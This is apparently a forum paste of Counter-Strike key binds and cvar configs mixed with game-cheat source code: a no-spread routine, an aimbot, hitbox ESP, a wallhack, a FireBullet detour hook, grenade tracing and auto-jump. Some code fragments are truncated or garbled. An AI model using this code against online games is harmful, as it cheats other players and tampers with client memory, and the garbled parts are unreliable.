  613. bind "F1" "ak47; m4a1; primammo; secammo; hegren; vesthelm; vest;"
  614. bind "F2" "galil; famas; primammo; secammo; hegren; vesthelm; vest"
  615. bind "F3" "sxe_screenoff"
  616. bind "F4" "buy; menuselect 4; menuselect 3; buy; menuselect 1; menuselect 3; buy; menuselect 8; menuselect 1; buy; menuselect 8; menuselect 2; buy; menuselect 8; menuselect 4; buy; menuselect 8; menuselect 3; buy; menuselect 8; menuselect 3; buy; menuselect 8; menuselect 6; buyammo2; buyammo2; buyammo2; buyammo2; buyammo2; buyammo1; buyammo1; buyammo1; wait; slot10"
  617. bind "F5" "snapshot"
  618. bind "F6" "save quick"
  619. bind "F7" "load quick"
  620. bind "F11" "wait;ex_interp 0.01;wait;lastinv;wait;cl_yawspeed 99999;wait;+right;wait;+attack;wait;+back;wait;weapon_knife;wait"
  621. bind "F12" "wait;ex_interp 0.05;wait;cl_yawspeed 210;wait;-right;wait;-attack;wait"
  622. bind "INS" "+klook"
  623. bind "DEL" "slot1 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  624. bind "PGDN" "slot3 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  625. bind "PGUP" "+lookup"
  626. bind "END" "slot2 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  627. bind "CAPSLOCK" "+speed ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  628. bind "MWHEELDOWN" "+jump"
  629. bind "MWHEELUP" "+duck"
  630. bind "MOUSE1" "+attack"
  631. bind "MOUSE2" "+attack2"
  632. bind "MOUSE3" "+duck;wait;-duck;wait;+duck; wait;wait;wait;wait;wait;wait; wait;wait;wait;-duck;wait" Crazy Ducking :D Benim icadim ~ ByDesDes.
  633. bind "PAUSE" "pause"
  634.  
  635. =======================================================
  636.  
  637. float UTIL_SharedRandomFloat( unsigned int seed, float low, float high )
  638. {
  639. unsigned int range;
  640. U_Srand( (int)seed + *(int *)&low + *(int *)&high );
  641. U_Random();
  642. U_Random();
  643. range = (unsigned int)(high - low);
  644. if ( !range )
  645. {
  646. return low;
  647. }
  648. else
  649. {
  650. int tensixrand;
  651. float offset;
  652. tensixrand = U_Random() & 65535;
  653. offset = (float)tensixrand / 65536.0f;
  654. return (low + offset * range );
  655. }
  656. }
  657. class CNoSpread
  658. {
  659. private:
  660. DWORD BaseGun;
  661. float Distance;
  662. int Flags;
  663. float FOV;
  664. UINT Seed;
  665. float Speed;
  666. float SpreadVar;
  667. int WeaponBit;
  668. int WeaponID;
  669.  
  670. private:
  671. float GetDistance(void);
  672. float GetVecSpread(void);
  673.  
  674. public:
  675. void Apply(float *OldAngles, float *CmdAngles);
  676. void Update(local_state_s *to, unsigned int random_seed);
  677. };
  678.  
  679. extern CNoSpread gNoSpread;
  680. CNoSpread gNoSpread;
  681.  
  682. float CNoSpread::GetDistance(void)
  683. {
  684. // M3: 3000
  685. // Xm1014: 3048
  686. // ...
  687. }
  688.  
  689. float CNoSpread::GetVecSpread(void)
  690. {
  691. float VecSpread;
  692.  
  693. switch (WeaponID)
  694. {
  695. case WEAPON_AK47:
  696. {
  697. if (!(Flags & FL_ONGROUND))
  698. VecSpread = SpreadVar * x + x;
  699. else if (Speed > 140.0f)
  700. VecSpread = SpreadVar * x + x;
  701. else
  702. VecSpread = SpreadVar * x;
  703. break;
  704. }
  705. ...
  706. default:
  707. {
  708. VecSpread = 0.0f;
  709. break;
  710. }
  711. }
  712.  
  713. return VecSpread;
  714. }
  715.  
  716. void CNoSpread::Apply(float *OldAngles, float *CmdAngles)
  717. {
  718. float Forward[3], Right[3], Up[3], vecDir[3], vecEnd[3], NewAngles[3], Spread[2], VecSpread;
  719.  
  720. Spread[0] = UTIL_SharedRandomFloat(Seed + 1, -0.5, 0.5) + UTIL_SharedRandomFloat(Seed + 2, -0.5, 0.5);
  721. Spread[1] = UTIL_SharedRandomFloat(Seed + 3, -0.5, 0.5) + UTIL_SharedRandomFloat(Seed + 4, -0.5, 0.5);
  722.  
  723. VecSpread = GetVecSpread();
  724.  
  725. Spread[0] *= VecSpread;
  726. Spread[1] *= VecSpread;
  727.  
  728. gEngine.pfnAngleVectors(OldAngles, Forward, Right, Up);
  729.  
  730. for (int i = 0; i < 3; i++)
  731. {
  732. vecDir[i] = Forward[i] + Spread[0] * Right[i] + Spread[1] * Up[i];
  733. vecEnd[i] = Distance * vecDir[i];
  734. }
  735.  
  736. VectorAngles(vecEnd, NewAngles);
  737. NewAngles[0] = -NewAngles[0];
  738.  
  739. CmdAngles[0] += OldAngles[0] - NewAngles[0];
  740. CmdAngles[1] += OldAngles[1] - NewAngles[1];
  741. }
  742.  
  743. void CNoSpread::Update(local_state_s *to, unsigned int random_seed)
  744. {
  745. Flags = to->client.flags;
  746. FOV = to->client.fov;
  747. Seed = random_seed;
  748. float Speed = to->client.velocity.Length();
  749. int WeaponID = to->client.m_iId;
  750. Distance = GetDistance();
  751. if (to->weapondata[WeaponID].m_flNextPrimaryAttack <= 0.0f)
  752. {
  753. BaseGun = *(DWORD*)(dwTableInit + 0x0);
  754. SpreadVar = *(float*)(BaseGun + 0xF8);
  755. WeaponBit = *(int*)(BaseGun + 0x128);
  756. }
  757. }
  758. if (runfuncs) gNoSpread.Update(to, random_seed);
  759. usercmd_t UserCmd;
  760. void CL_CreateMove(float frametime, usercmd_s *cmd, int active)
  761. {
  762. gClient.CL_CreateMove(frametime, cmd, active);
  763. RtlCopyMemory(&UserCmd, cmd, sizeof(UserCmd);
  764. ... // aimbot before nospread
  765. gNoSpread.Apply(UserCmd.viewangles, cmd->viewangles);
  766. ...
  767. }
  768. //HSPRITE ( *pfnSPR_Load ) ( const char *szPicName );
  769. HSPRITE SPR_Load(const char *szPicName)
  770. {
  771. if(strstr(szPicName, "gas_puff_01"))
  772. {
  773. return 0;
  774. }
  775. //Log("PicName: %s", szPicName);
  776. return gEngfuncs.pfnSPR_Load(szPicName);
  777. }
  778. if (pNearestEnt != NULL && fNearestAimTarget[0] > 0 && fNearestAimTarget[1] > 0)
  779. {
  780. // Define the aimsmooth factor
  781. #define AIM_SMOOTH 3
  782.  
  783. // Is the right mousebutton actually pressed?
  784. if (GetAsyncKeyState(VK_RBUTTON))
  785. {
  786. //Calculate the interpolation
  787. float x = fNearestAimTarget[0] - iScreenCenterX;
  788. float y = fNearestAimTarget[1] - iScreenCenterY;
  789.  
  790. x /= AIM_SMOOTH;
  791. y /= AIM_SMOOTH;
  792.  
  793. fNearestAimTarget[0] = iScreenCenterX + x;
  794. fNearestAimTarget[1] = iScreenCenterY + y;
  795.  
  796. //Aim on the target
  797. SetCursorPos((int)fNearestAimTarget[0], (int)fNearestAimTarget[1]);
  798. }
  799. }
  800. void GetHeadPosition(cl_entity_t *pEnt)
  801. {
  802. typedef float BoneMatrix_t[MAXSTUDIOBONES][3][4];
  803. model_t *pModel;
  804. studiohdr_t *pStudioHeader;
  805. BoneMatrix_t *pBoneMatrix;
  806. Vector vBBMin = Vector(0, 0, 0);
  807. Vector vBBMax = Vector(0, 0, 0);
  808. mstudiobbox_t *pHitbox;
  809. Vector vAimOffs = Vector(0, 0, 0);
  810. vAimOffs[0] = cvar.hbx;
  811. vAimOffs[1] = cvar.hby;
  812. vAimOffs[2] = cvar.hbz;
  813. int i;
  814. if(!vPlayers[pEnt->index].bGotHead)
  815. {
  816. pModel = pstudio->SetupPlayerModel(pEnt->index);
  817. pStudioHeader = (studiohdr_t*)pstudio->Mod_Extradata(pModel);
  818. pBoneMatrix = (BoneMatrix_t*)pstudio->StudioGetBoneTransform();
  819. aimvec av; // This is an aimvec structure the aimbot traditionally uses.
  820. vPlayers[pEnt->index].Hitbox.clear(); // This is the array of hitboxes, we're clearing it so we have fresh aiming spots.
  821. pHitbox = (mstudiobbox_t*)((byte*)pStudioHeader + pStudioHeader->hitboxindex);
  822. i = cvar.hitbox;
  823. if(cvar.hitbox>20){cvar.hitbox=11;}
  824. if(i>=0)
  825. {
  826. VectorTransform(pHitbox[i].bbmin, (*pBoneMatrix)[pHitbox[i].bone], vBBMin);
  827. VectorTransform(pHitbox[i].bbmax, (*pBoneMatrix)[pHitbox[i].bone], vBBMax);
  828. vPlayers[pEnt->index].vPlayerHead = (vBBMax + vBBMin)*0.5f - vAimOffs;
  829. vPlayers[pEnt->index].bGotHead = true;
  830. VectorSubtract(vPlayers[pEnt->index].vPlayerHead, vPlayers[pEnt->index].getEnt()->origin, vPlayers[pEnt->index].vPlayerHead);
  831. av.h = vPlayers[pEnt->index].vPlayerHead[2]; // using the head hitbox as the first point in our aimvec array, so it takes precedence over others.
  832. av.f = vPlayers[pEnt->index].vPlayerHead[1];
  833. av.r = vPlayers[pEnt->index].vPlayerHead[0];
  834. vPlayers[pEnt->index].Hitbox.push_back(av); // this is where the actual adding occurs.
  835. if(cvar.autodetect && gAimbot.target==-1) // is ad enabled and why calculate further if I have a target already?
  836. {
  837. for(int q=1;q<20;q++)
  838. {
  839. float curspot[3];
  840. VectorTransform(pHitbox[q].bbmin, (*pBoneMatrix)[pHitbox[q].bone], vBBMin);
  841. VectorTransform(pHitbox[q].bbmax, (*pBoneMatrix)[pHitbox[q].bone], vBBMax);
  842. VectorCopy((vBBMax + vBBMin) * 0.5f, curspot );
  843. vPlayers[pEnt->index].bAimSpot[q] = true;
  844. VectorSubtract(curspot,vPlayers[pEnt->index].getEnt()->origin,curspot);
  845. // The above is just the same thing the function does, finding the middle of the bounding box and subtracting.
  846. av.h = curspot[2]; // these are other hitboxes
  847. av.f = curspot[1]; // we want to add for autodetect
  848. av.r = curspot[0];
  849. vPlayers[pEnt->index].Hitbox.push_back(av); // this actually adds the hitbox's position to the aimvec structure Hitbox in the VecPlayers class, or vPlayers.
  850. }
  851. }
  852. Vector vCubePoints[8];
  853. Vector vCubePointsTrans[8];
  854. vCubePoints[0] = pHitbox[i].bbmin;
  855. vCubePoints[1] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmax.y, pHitbox[i].bbmin.z);
  856. vCubePoints[2] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmax.y, pHitbox[i].bbmin.z);
  857. vCubePoints[3] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmin.y, pHitbox[i].bbmin.z);
  858. vCubePoints[4] = pHitbox[i].bbmax;
  859. vCubePoints[5] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmax.y, pHitbox[i].bbmax.z);
  860. vCubePoints[6] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmin.y, pHitbox[i].bbmax.z);
  861. vCubePoints[7] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmin.y, pHitbox[i].bbmax.z);
  862.  
  863. for(int j = 0; j < 8; j++)
  864. VectorTransform(vCubePoints[j], (*pBoneMatrix)[pHitbox[i].bone], vCubePointsTrans[j]);
  865.  
  866. if(cvar.drawhitbox)
  867. {
  868. glDisable(GL_TEXTURE_2D);
  869. glEnable(GL_BLEND);
  870. glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
  871. ColorEntry *clr;
  872. clr = PlayerColor(pEnt->index);
  873. glColor4f(clr->onebased_r,clr->onebased_g,clr->onebased_b,clr->onebased_a);
  874. glLineWidth(0.15f);
  875. glBegin(GL_LINE_LOOP);
  876. glVertex3fv(vCubePointsTrans[0]);
  877. glVertex3fv(vCubePointsTrans[1]);
  878. glVertex3fv(vCubePointsTrans[2]);
  879. glVertex3fv(vCubePointsTrans[3]);
  880. glEnd();
  881. glBegin(GL_LINE_LOOP);
  882. glVertex3fv(vCubePointsTrans[4]);
  883. glVertex3fv(vCubePointsTrans[5]);
  884. glVertex3fv(vCubePointsTrans[6]);
  885. glVertex3fv(vCubePointsTrans[7]);
  886. glEnd();
  887. glBegin(GL_LINES);
  888. glVertex3fv(vCubePointsTrans[0]);
  889. glVertex3fv(vCubePointsTrans[6]);
  890. glVertex3fv(vCubePointsTrans[1]);
  891. glVertex3fv(vCubePointsTrans[5]);
  892. glVertex3fv(vCubePointsTrans[2]);
  893. glVertex3fv(vCubePointsTrans[4]);
  894. glVertex3fv(vCubePointsTrans[3]);
  895. glVertex3fv(vCubePointsTrans[7]);
  896. glEnd();
  897. glDisable(GL_BLEND);
  898. glEnable(GL_TEXTURE_2D);
  899. }
  900. }
  901. }
  902.  
  903.  
  904. =======================================================
  905.  
  906. mat_forcemanagedtextureintohardware "0"
  907. mat_antialias "0"
  908. mat_forceaniso "0"
  909. mat_picmip "1"
  910. mat_hdr_enabled "0"
  911. mat_forcehardwaresync "0"
  912. mat_hdr_level "0"
  913. mat_monitorgamma "1.6"
  914. net_maxfragments "640"
  915. mat_reducefillrate "1"
  916. mat_monitorgamma "1.6"
  917. mat_disable_bloom "1"
  918. mat_hdr_enabled "0"
  919. mat_parallaxmap "0"
  920. mat_forceaniso "0"
  921. mat_bloomscale "0"
  922. mat_fastnobump "1"
  923. mat_trilinear "0"
  924. mat_antialias "0"
  925. mat_specular "0"
  926. mat_bumpmap "1"
  927. mat_clipz "1"
  928. mat_vsync "0"
  929. mat_reducefillrate "1"
  930. mat_parallaxmap "0"
  931. mat_filterlightmaps "1"
  932. mat_disable_bloom "1"
  933. mat_colorcorrection "0"
  934. mat_compressedtextures "1"
  935. mat_bloomscale "0"
  936. mat_bumpmap "0"
  937.  
  938. =======================================================
  939.  
  940. r_cheapwaterend "1"
  941. r_cheapwaterstart "1"
  942. r_decal_cullsize "0"
  943. r_dopixelvisibility "0"
  944. r_drawbatchdecals "0"
  945. r_drawflecks "0"
  946. r_drawmodeldecals "0"
  947. r_dynamic "0"
  948. r_eyes "0"
  949. r_flex "0"
  950. r_lightaverage "1"
  951. r_lod "-1"
  952. r_maxdlights "32"
  953. r_occlusion "1"
  954. r_renderoverlayfragment "0"
  955. r_shadows "1"
  956. r_shadowmaxrendered "40"
  957. r_shadowrendertotexture "1"
  958. r_teeth "0"
  959. r_updaterefracttexture "0"
  960. r_WaterDrawReflection "0"
  961. r_WaterDrawRefraction "0"
  962. r_waterforceexpensive "0"
  963. r_worldlights "2"
  964. r_worldlightmin "0.0002"
  965. r_3dnow "1"
  966. r_mmx "1"
  967. r_sse "1"
  968. r_sse2 "1"
  969. r_3dsky "0"
  970.  
  971. =======================================================
  972.  
  973. m_forward "1"
  974. m_side "0.8"
  975. m_filter "0"
  976. m_pitch "0.022"
  977. m_yaw "0.022"
  978. sensitivity "1"
  979. zoom_sensitivity_ratio "1"
  980. joystick "0.000000"
  981. +mlook
  982. +jlook
  983.  
  984. =======================================================
  985.  
  986. norecoil 2.000000
  987. plglow 0
  988. light 0
  989. plname 1
  990. plweapon 1
  991. distance 0
  992. plbox 1
  993. aimvec 2
  994. aimvecparam 2.000000 4000.000000 0.010000 0.000000
  995. wepglow 1
  996. fullbright 0
  997. transent 0
  998. entesp 1
  999. nosmoke 0
  1000. noflash 1
  1001. wall 0
  1002. autospec 1
  1003. plhbox 0
  1004. plhboxwall 0
  1005. plhboxwire 1
  1006. scope 60
  1007. aimhelp 3
  1008. aimhelpcol 100 255 100 255
  1009. bot 1
  1010. botlock 0
  1011. bothbox 11
  1012. botbone 8
  1013. botteam 1
  1014. botfov 100.000000
  1015. botpred 0.000000
  1016. botpredme 0.000000
  1017. fill 1
  1018. plglowamt 50
  1019. plboxsize 200
  1020. plboxwidth 80
  1021. wepglowamt 10
  1022. transentamt 60
  1023. plbone 0
  1024. plnametercol 255 0 0 0
  1025. plnamectcol 153 204 255 0
  1026. plboxtercol 255 30 30 150
  1027. plboxctcol 30 30 255 150
  1028. plhboxtercol 255 0 0 255
  1029. plhboxctcol 0 0 255 255
  1030. plbonetercol 255 0 0 255
  1031. plbonectcol 0 0 255 255
  1032. aimvectercol 255 0 0 255
  1033. aimvecctcol 0 0 255 255
  1034. wepglowcol 20 100 100 0
  1035. plglowtercol 255 0 0 0
  1036. plglowctcol 0 0 255 0
  1037. lighttercol 255 0 0 100
  1038. lightctcol 0 0 255 100
  1039. entespcol 153 255 153 0
  1040. allowkey 152
  1041. consolekey 148
  1042.  
  1043. =======================================================
  1044.  
  1045. s_a3d "0"
  1046. s_automin_distance "2.0"
  1047. s_automax_distance "30.0"
  1048. s_bloat "2.0"
  1049. s_buffersize "65536"
  1050. s_distance "60"
  1051. s_doppler "0"
  1052. s_eax "0"
  1053. s_geometry "1"
  1054. s_leafnum "0"
  1055. s_max_distance "1000"
  1056. s_min_distance "8.0"
  1057. s_materials "0"
  1058. s_numpolys "200"
  1059. s_occ_epsilon "1.0"
  1060. s_occfactor "0"
  1061. s_occlude "1"
  1062. s_polykeep "1000000000"
  1063. s_polysize "10000000"
  1064. s_refdelay "4"
  1065. s_refgain "0.4"
  1066. s_reflect "1"
  1067. s_reverb "1"
  1068. s_rolloff "1"
  1069. s_show "0"
  1070. s_showtossed "0"
  1071. s_usepvs "1"
  1072. s_verbwet "0.25"
  1073. scr_centertime "2"
  1074. scr_centertime "2"
  1075. scr_connectmsg "0"
  1076. scr_connectmsg1 "0"
  1077. scr_connectmsg2 "0"
  1078. scr_conspeed "600"
  1079. scr_ofsx "0"
  1080. scr_ofsy "0"
  1081. scr_ofsz "0"
  1082. scr_printspeed "8"
  1083. sensitivity "3.0"
  1084.  
  1085. =======================================================
  1086.  
  1087. aim_alternate=0
  1088. aim_autoaim=0
  1089. aim_autoshoot=0
  1090. aim_autowall=1
  1091. aim_bonespot=7
  1092. aim_drawspot=1
  1093. aim_forwardadjust=0
  1094. aim_fov=360
  1095. aim_hbdraw=1
  1096. aim_heightadjust=0
  1097. aim_hitbox=11
  1098. aim_lock=0
  1099. aim_method=1
  1100. aim_mode=1
  1101. aim_nospread=1
  1102. aim_prediction=0
  1103. aim_random=0
  1104. aim_recoil=1.65
  1105. aim_rightadjust=0
  1106. aim_smooth=0
  1107. aim_team=0
  1108. aim_thru=0
  1109. aim_triggerbot=0
  1110. aim_visrecoil=1
  1111.  
  1112. =======================================================
  1113.  
  1114. if (cvar.tracegrenade) { float grenorigin[3]; Aimbot.TraceGrenade(grenorigin); float screenvec[2]; if (CalcScreen(grenorigin, screenvec)) oEngfuncs.pfnFillRGBA(screenvec[0], screenvec[1], 2, 2, 255, 0, 0, 255); } #define NUMBLOOPS 20.0f http://cvar.test7 #define TIMEALIVE 2.00f http://cvar.test8 #define OLDDAMPER 1.75f http://cvar.test6 #define NEWDAMPER 0.75f http://cvar.test5 #define SVGRAVITY 3.75f http://cvar.test3 #define FLOORSTOP 0.20f http://cvar.test4 void CAimbot::TraceGrenade(float * dest) { pmtrace_t pmtrace; float gravity = gEngfuncs.pfnGetCvarFloat("sv_gravity") / SVGRAVITY; float throwangles[3], throwvector[3], startpos[3], endpos[3]; throwangles[0] = me.viewAngles[0]; throwangles[1] = me.viewAngles[1]; throwangles[2] = me.viewAngles[2]; if (throwangles[0] 500) flVel = 500; AngleVector(throwangles, throwvector); startpos[0] = me.pmEyePos[0] + throwvector[0] * 16; startpos[1] = me.pmEyePos[1] + throwvector[1] * 16; startpos[2] = me.pmEyePos[2] + throwvector[2] * 16; throwvector[0] = (throwvector[0] * flVel) + me.pmVelocity[0]; throwvector[1] = (throwvector[1] * flVel) + me.pmVelocity[1]; throwvector[2] = (throwvector[2] * flVel) + me.pmVelocity[2]; int collisions = 0; float timelive; float step = (TIMEALIVE / NUMBLOOPS); for (timelive=0;timelive<timealive endpos startpos throwvector step gengfuncs.peventapi->EV_SetTraceHull( 2 ); gEngfuncs.pEventAPI->EV_PlayerTrace( startpos, endpos, PM_STUDIO_BOX, -1, &pmtrace ); if (pmtrace.ent != me.ent->index && pmtrace.fraction 0.9 && throwvector[2] = -gravity*FLOORSTOP ) { dest[0] = endpos[0]; dest[1] = endpos[1]; dest[2] = endpos[2]; return; } float proj = DotProduct( throwvector, pmtrace.plane.normal ); throwvector[0] = (throwvector[0]*OLDDAMPER - proj*2*pmtrace.plane.normal[0]) * NEWDAMPER; //reflection off the wall throwvector[1] = (throwvector[1]*OLDDAMPER - proj*2*pmtrace.plane.normal[1]) * NEWDAMPER; throwvector[2] = (throwvector[2]*OLDDAMPER - proj*2*pmtrace.plane.normal[2]) * NEWDAMPER; //if (cvar.tracegrenade == 2) collisions++; if (collisions > 30) break; timelive -= (step * (1 - pmtrace.fraction)); } gEngfuncs.pEfxAPI->R_BeamPoints(startpos,endpos,beamindex,0.05f,0.6f,0,127,0,0,0,0,255,0); startpos[0] = endpos[0]; startpos[1] = endpos[1]; startpos[2] = endpos[2]; throwvector[2] -= gravity * pmtrace.fraction * step; //gravity } dest[0] = startpos[0]; dest[1] = startpos[1]; dest[2] = startpos[2]; }</timealive>
  1115.  
  1116. if(cvar.weaponsmoke && me.alive) { cl_entity_t *curent; curent = pstudio->GetCurrentEntity(); curent->curstate.rendercolor.r = 0; curent->curstate.rendercolor.g = 255; curent->curstate.rendercolor.b = 0; glBlendFunc(GL_FRONT_AND_BACK, GL_FILL); }
  1117.  
  1118. type FFireBullet = procedure (idx: Integer; _forward, right, up: PArray3OfSingle; cShots: Integer; vecSrc, vecDirShooting: PArray3OfSingle; flDistance: Single; iBulletType, iTracerFreq: Integer; tracerCount: PInteger; flSpreadX, flSpreadY: Single);cdecl; var oldFireBullet : FFireBullet = pointer ($019024C0); newFireBullet : FFireBullet; procedure myFireBullet(idx: Integer; _forward, right, up: PArray3OfSingle; cShots: Integer; vecSrc, vecDirShooting: PArray3OfSingle; flDistance: Single; iBulletType, iTracerFreq: Integer; tracerCount: PInteger; flSpreadX, flSpreadY: Single);cdecl; var vDir, view, target: Array[0..2] of Single; begin vDir[0] := _forward[0] + flSpreadX * right[0] + flSpreadY * up[0]; view[0] := 8192 * vDir[0]; vDir[1] := _forward[1] + flSpreadX * right[1] + flSpreadY * up[1]; view[1] := 8192 * vDir[1]; vDir[2] := _forward[2] + flSpreadX * right[2] + flSpreadY * up[2]; view[2] := 8192 * vDir[2]; VectorUtils.VectorAngles(view,target); target[0] := target[0] * -1; me.spreadAngles.x := me.viewAngles.x - target[0]; me.spreadAngles.y := me.viewAngles.y - target[1]; me.spreadAngles.z := 0; newFireBullet(idx,_forward,right,up,cShots,vecSrc,vecDirShooting,flDistance,iBulletType,iTracerFreq,tracerCount,flSpreadX,flSpreadY); end; procedure CL_CreateMove(_para1:single; ucmd:usercmd_s; _para3:longint);cdecl; begin gExportTable.CL_CreateMove(_para1,ucmd,_para3); If _nospread Then begin ucmd.viewangles.x := ucmd.viewangles.x + me.spreadAngles.x; ucmd.viewangles.y := ucmd.viewangles.y + me.spreadAngles.y; ucmd.viewangles.z := ucmd.viewangles.z + me.spreadAngles.z; end; If _norecoil then begin ucmd.viewangles.x := ucmd.viewangles.x - me.punchangle.x; ucmd.viewangles.y := ucmd.viewangles.y - me.punchangle.y; end; end; procedure HookClient; begin While not Assigned(pExportTable.Initialize) Do Sleep(50); CopyMemory(@gExportTable,pExportTable,sizeOf(ExportTable_t)); //... //.... MyHook.Detour(@oldFireBullet,@MyFireBullet,@NewFireBullet); end;
  1119.  
  1120. int Radar(const char *pszName, int iSize, void *pbuf) { if(cvar.cheatactivado && cvar.radaresp) { float origin[3]; BEGIN_READ(pbuf,iSize); int id=READ_BYTE(); origin[0]=READ_COORD(); origin[1]=READ_COORD(); origin[2]=READ_COORD(); playerSound(id,origin,""); } return RadarOrg(pszName,iSize,pbuf); }
  1121.  
  1122. if( strstr(pEntity->model->name, "blood.spr") ) { if( pEntity->curstate.frame == 0 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 255; pEntity->curstate.rendercolor.g = 0; pEntity->curstate.rendercolor.b = 0; } if( pEntity->curstate.frame == 1 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 0; pEntity->curstate.rendercolor.g = 255; pEntity->curstate.rendercolor.b = 0; } if( pEntity->curstate.frame == 2 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 0; pEntity->curstate.rendercolor.g = 0; pEntity->curstate.rendercolor.b = 255; } if( pEntity->curstate.frame == 3 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 255; pEntity->curstate.rendercolor.g = 255; pEntity->curstate.rendercolor.b = 0; } if( pEntity->curstate.frame == 4 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 0; pEntity->curstate.rendercolor.g = 255; pEntity->curstate.rendercolor.b = 255; } if( pEntity->curstate.frame == 5 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 255; pEntity->curstate.rendercolor.g = 0; pEntity->curstate.rendercolor.b = 255; } if( pEntity->curstate.frame == 6 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 20; pEntity->curstate.rendercolor.g = 20; pEntity->curstate.rendercolor.b = 255; } if( pEntity->curstate.frame == 7 ) { pEntity->curstate.renderamt = 1; pEntity->curstate.rendercolor.r = 20; pEntity->curstate.rendercolor.g = 255; pEntity->curstate.rendercolor.b = 20; }
  1123.  
  1124. if(mode != GL_TRIANGLES && mode != GL_TRIANGLE_STRIP && mode != GL_TRIANGLE_FAN && mode != GL_QUADS ) // If HL is drawing a wall { float curcolor[4]; glGetFloatv(GL_CURRENT_COLOR, curcolor); glDisable(GL_DEPTH_TEST); glEnable (GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glColor4f(curcolor[0], curcolor[1], curcolor[2], 0.5f); // Blend the current colors and make the walls 50% transparent }
  1125.  
  1126. void StudioSetupLighting(alight_t *plight) { if (gStudio.GetCurrentEntity() == gStudio.GetViewModel()) { plight->color[0] = 0.0; //red plight->color[1] = 1.0; //green plight->color[2] = 0.0; //blue } gStudio.StudioSetupLighting(plight); }
  1127.  
  1128. bool Trace_Auto_Jump (float* source, float* end) { pmtrace_t* tr = gEngfuncs.PM_TraceLine(source, end, 0, 2, -1); if(tr->fraction == 1.0f) { return true; } else{return false;} } bool stepcheck() { vec3_t up, right, forward; gEngfuncs.pfnAngleVectors(me.viewAngles, forward, right, up); cl_entity_t *pLocal = gEngfuncs.GetLocalPlayer(); vec3_t vecEnd1a; vec3_t vecSrc1a; VectorCopy(pLocal->origin, vecSrc1a); vecSrc1a[2] -= 11; vecEnd1a[0] = vecSrc1a[0] + forward[0]*32; vecEnd1a[1] = vecSrc1a[1] + forward[1]*32; vecEnd1a[2] = vecSrc1a[2]; vec3_t vecEnd1b; vec3_t vecSrc1b; VectorCopy(pLocal->origin, vecSrc1b); vecSrc1b[2] -= 25; //(36-25=11 [11]) vecEnd1b[0] = vecSrc1b[0] + forward[0]*30; vecEnd1b[1] = vecSrc1b[1] + forward[1]*30; vecEnd1b[2] = vecSrc1b[2]; // si no toca a las 32 y origen -11 (25); si toca a las 30 y origen -25 (11) if( Trace_Auto_Jump (vecSrc1a, vecEnd1a) == true && Trace_Auto_Jump (vecSrc1b, vecEnd1b) == false ) {return false;} return true; } bool specialstep() { vec3_t up, right, forward; gEngfuncs.pfnAngleVectors(me.viewAngles, forward, right, up); cl_entity_t* pLocal = gEngfuncs.GetLocalPlayer(); vec3_t vecEnd1a; vec3_t vecSrc1a; VectorCopy(pLocal->origin, vecSrc1a); vecSrc1a[2] -= 11; vecEnd1a[0] = vecSrc1a[0] + forward[0]*52; vecEnd1a[1] = vecSrc1a[1] + forward[1]*52; vecEnd1a[2] = vecSrc1a[2]; vec3_t vecEnd1b; vec3_t vecSrc1b; VectorCopy(pLocal->origin, vecSrc1b); vecSrc1b[2] -= 18; vecEnd1b[0] = vecSrc1b[0] + forward[0]*30; vecEnd1b[1] = vecSrc1b[1] + forward[1]*30; vecEnd1b[2] = vecSrc1b[2]; // si no toca a las 32 y origen -11 (25); si toca a las 30 y origen -18 (18) if( Trace_Auto_Jump (vecSrc1a, vecEnd1a) == true && Trace_Auto_Jump (vecSrc1b, vecEnd1b) == false ) {return true;} return false; } bool Auto_jump() { vec3_t up, right, forward; gEngfuncs.pfnAngleVectors(me.viewAngles, forward, right, up); cl_entity_t* pLocal = gEngfuncs.GetLocalPlayer(); vec3_t vecEnd2a; vec3_t vecSrc2a; VectorCopy(pLocal->origin, vecSrc2a); vecSrc2a[2] += 1; vecEnd2a[0] = vecSrc2a[0] + forward[0] * (cvar.jumpdist+14); vecEnd2a[1] = vecSrc2a[1] + forward[1] * (cvar.jumpdist+14); vecEnd2a[2] = vecSrc2a[2]; vec3_t vecEnd2b; vec3_t vecSrc2b; VectorCopy(pLocal->origin, vecSrc2b); vecSrc2b[2] -= 13; vecEnd2b[0] = vecSrc2b[0] + forward[0] * (cvar.jumpdist+10); vecEnd2b[1] = vecSrc2b[1] + forward[1] * (cvar.jumpdist+10); vecEnd2b[2] = vecSrc2b[2]; vec3_t vecEnd3a; vec3_t vecSrc3a; VectorCopy(pLocal->origin, vecSrc3a); vecSrc3a[2] += 23; vecEnd3a[0] = vecSrc3a[0] + forward[0] * (cvar.jumpdist+17); vecEnd3a[1] = vecSrc3a[1] + forward[1] * (cvar.jumpdist+17); vecEnd3a[2] = vecSrc3a[2]; // si no toca a las 47 y origen + 23 (59) --> altura maxima de salto if(Trace_Auto_Jump (vecSrc3a, vecEnd3a) == true) { // si toca a las 44 y origen + 1 (37) if(Trace_Auto_Jump (vecSrc2a, vecEnd2a) == false ) { // si no toca a las 32 y origen 